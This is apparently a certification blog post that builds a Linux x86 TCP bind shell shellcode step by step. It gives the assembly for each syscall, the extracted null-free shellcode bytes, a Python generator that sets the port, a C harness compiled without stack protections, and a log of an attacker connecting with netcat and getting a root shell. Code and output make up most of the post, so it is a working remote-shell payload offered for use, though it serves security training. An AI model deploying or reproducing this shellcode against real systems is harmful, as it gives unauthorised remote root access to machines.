This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017

Challenge

  • Create a Shell_Bind_TCP shellcode
    • Binds to a port
    • Execs Shell on incoming connecSon
  • Port number should be easily configurable

GitHub

https://github.com/timip/SLAE/blob/master/shell_bind_tcp_nonull.nasm

Program Flow

Here is a generic steps to create a TCP Bind Shell.

  1. Create socket
  2. Bind the socket to an IP and port
  3. Listen for incoming connections
  4. Accept incoming connections
  5. Duplicate file descriptors
  6. Pass /bin/sh to new client socket using execve

Syscall

For syscall socket programming, we need to use registers to specify syscall no. as well as parameters.

According to linux header file unistd_32.h,  syscall number for socketcall is 102 (0x66). Therefore, EAX should always equal 0x66.

#define __NR_socketcall 102

EBX should contain the call ID for the specific socket function you want to execute, which is defined in /usr/include/linux/net.h

ECX contains a pointer to the arguments.

1. Create Socket

int socketcall(int call, unsigned long *args) → socket(int domain, int type, int protocol)
  socket call socket
Parameters
  • EBX: call = SYS_SOCKET (1)
    • Reference: /usr/include/linux/net.h
  • ECX: *args = pointer to socket parameters
  • STACK: domain = AF_INET (2)
    • Reference: /usr/src/linux-headers-4.4.0-93/include/linux/socket.h
  • STACK: type=SOCK_STREAM (1)
    • Reference: http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
  • STACK: protocol=IP (0)
    • Reference: /etc/protocol
Code
inc ebx		; EBX=call=SYS_SOCKET=1
mov ecx, esp	; ECX=*args=$esp
xor ebx, ebx
push ebx	; protocol=IP=0
push 0x1 	; type=SOCK_STREAM=1
push 0x2	; domain=AF_INET=2

Syscall

push byte 0x66      ; EAX=socketcall=0x66
pop eax
cdq
int 0x80
xchg esi, eax       ; move sockfd to esi

Stack

2. Bind the socket to an IP and port

int  socketcall(int call, unsigned long *args) → int bind(int sockfd, const  struct sockaddr *addr, socklen_t addrlen) → *addr={sa_family=AF_INET,  sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}
  socketcall bind *addr
Parameters
  • EBX: call = SYS_BIND (2)
    • Reference: /usr/include/linux/net.h
  • ECX: *args = esp
  • STACK: sockfd = ESI
  • STACK: *addr = ECX
  • STACK: addrlen = 16
  • STACK: addr.sin_addr=INADDR_ANY (0)
  • STACK: addr.sin_port=1337 (big endian)
  • STACK: addr.sa_family=AF_INET (2)
    • Reference: /usr/src/linux-headers-4.4.0-93/include/linux/socket.h
Code
mov ecx, esp	; ECX=*args=$esp
;no need update ; EBX=call=SYS_BIND=2
push 0x10	; addrlen=16
push ecx ; *addr=ECX
push esi ; sockfd=ESI
push edx	; addr.sin_addr=INADDR_ANY=0
push word 0x3905; addr.sin_port=1337 big endian
inc ebx
push word bx ; addr.sa_family=AF_INET=2
mov ecx, esp ; ECX=*addr

Syscall

push byte 0x66pop eax         ; EAX=socketcall=0x66int 0x80

Stack

3. Listen for incoming connections

int socketcall(int call, unsigned long *args) → int listen(int sockfd, int backlog);
  socketcall listen
Parameters
  • EBX: call = SYS_LISTEN (4)
    • Reference: /usr/include/linux/net.h
  • ECX: *args = ESP
  • STACK: sockfd = ESI
  • STACK: backlog = 2
Code
inc ebx
inc ebx ; EBX=call=SYS_LISTEN=4
mov ecx, esp ; ECX=*args=$esp
push ebx	; backlog=2
push esi ; sockfd=ESI

Syscall

push byte 0x66pop eax         ; EAX=socketcall=0x66int 0x80

Stack

4. Accept incoming connections

int socketcall(int call, unsigned long *args) → int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
  socketcall accept
Parameters
  • EBX : call = SYS_ACCEPT (5)
    • Reference: /usr/include/linux/net.h
  • ECX: *args = ESP
  • STACK: sockfd = ESI
  • STACK: *addr = NULL
  • STACK: *addrlen = NULL
Code
inc ebx 	; EBX=call=SYS_ACCEPT=5
mov ecx, esp ; ECX=*args=$esp
push edx 	; *addrlen=NULL
push edx ; *addr=NULL
push esi ; sockfd=ESI

Syscall

push byte 0x66pop eax         ; EAX=socketcall=0x66  int 0x80

Stack

5. Duplicate file descriptors

int dup2(int oldfd, int newfd)
dup2
Parameters
  • EBX: oldfd = sockfd
  • ECX: {0,1,2}
  • Syscall: AL = 0x3f
Code
mov ebx, eax		; EBX=EAX=sockfd
xor ecx, ecx

duploop:

mov al, 0x3f ; EAX=dup2=0x3f
int 0x80
inc ecx
cmp cl, 0x3 ; If ecx=3, then zeroflag=0, else zeroflag=nonzero
jne duploop ; Loop if zeroflag!=0, then duploop

6. Pass /bin/sh to new client socket using execve

int execve(const char *filename, char *const argv[], char *const envp[]);
  execve
Parameters
  • EBX: *filename = ESP
  • ECX: argv[] = ESP
  • EDX: envp[] = NULL
Code
push 0x0		; Null terminiator
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp ; EBX=*filename=ESP
push 0x0
mov edx, esp ; EDX=envp[]=NULL
push ebx
mov ecx, esp ; ECX=argv[]=ESP

mov al, 0xb ; AL=socketcall=0xb
int 0x80

Stack

Python Wrapper

Get shellcode from binary

Get all shellcode on binary file from objdump

> nasm -f elf32 -o shell_bind_tcp_nonull.o shell_bind_tcp_nonull.nasm
> ld -o shell_bind_tcp_nonull shell_bind_tcp_nonull.o
> objdump -d ./shell_bind_tcp_nonull |grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
"\x31\xdb\x53\x6a\x01\x6a\x02\x43\x89\xe1\x6a\x66\x58\x99\xcd\x80\x96\x52\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x56\x43\x43\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x43\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Code

#!/usr/bin/python
 
import socket, sys, struct
 
if len(sys.argv) is not 2:
    print "Usage: {0} PORT".format(sys.argv[0])
    exit()
 
port = int(sys.argv[1])
 
if port < 1 or port > 65535:
    print "[!] Wrong port no."
    exit()
 
if port <= 1000:
    print "[+] Please run it as root since port no. less than or equal to 1000"
 
port = format(port, '04x')
 
shellcode = "\\x31\\xdb\\x53\\x6a\\x01\\x6a\\x02\\x43\\x89\\xe1\\x6a\\x66\\x58\\x99\\xcd\\x80\\x96\\x52\\x66\\x68\\x" + str(port[0:2]) + "\\x" + str(port[2:4]) + "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x53\\x56\\x43\\x43\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb0\\x3f\\xcd\\x80\\x41\\x80\\xf9\\x03\\x75\\xf6\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
 
print "[+] Shellcode length = " + str(len(shellcode)/4)
print "unsigned char code[] = \"" + shellcode + "\";"

Testing

Code

#include<stdio.h>
#include<string.h>
  
unsigned char code[] = "\x31\xdb\x53\x6a\x01\x6a\x02\x43\x89\xe1\x6a\x66\x58\x99\xcd\x80\x96\x52\x66\x68\x04\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x56\x43\x43\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x43\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  
void main() {
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Compile and Test

# Victim Side
> gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c -g
> ./shellcode
Shellcode Length:  97
  
# Attack Side
> nc -nv 192.168.111.214 1234
(UNKNOWN) [192.168.111.214] 1234 (?) open
hostname
SLAE
id
uid=0(root) gid=0(root) groups=0(root)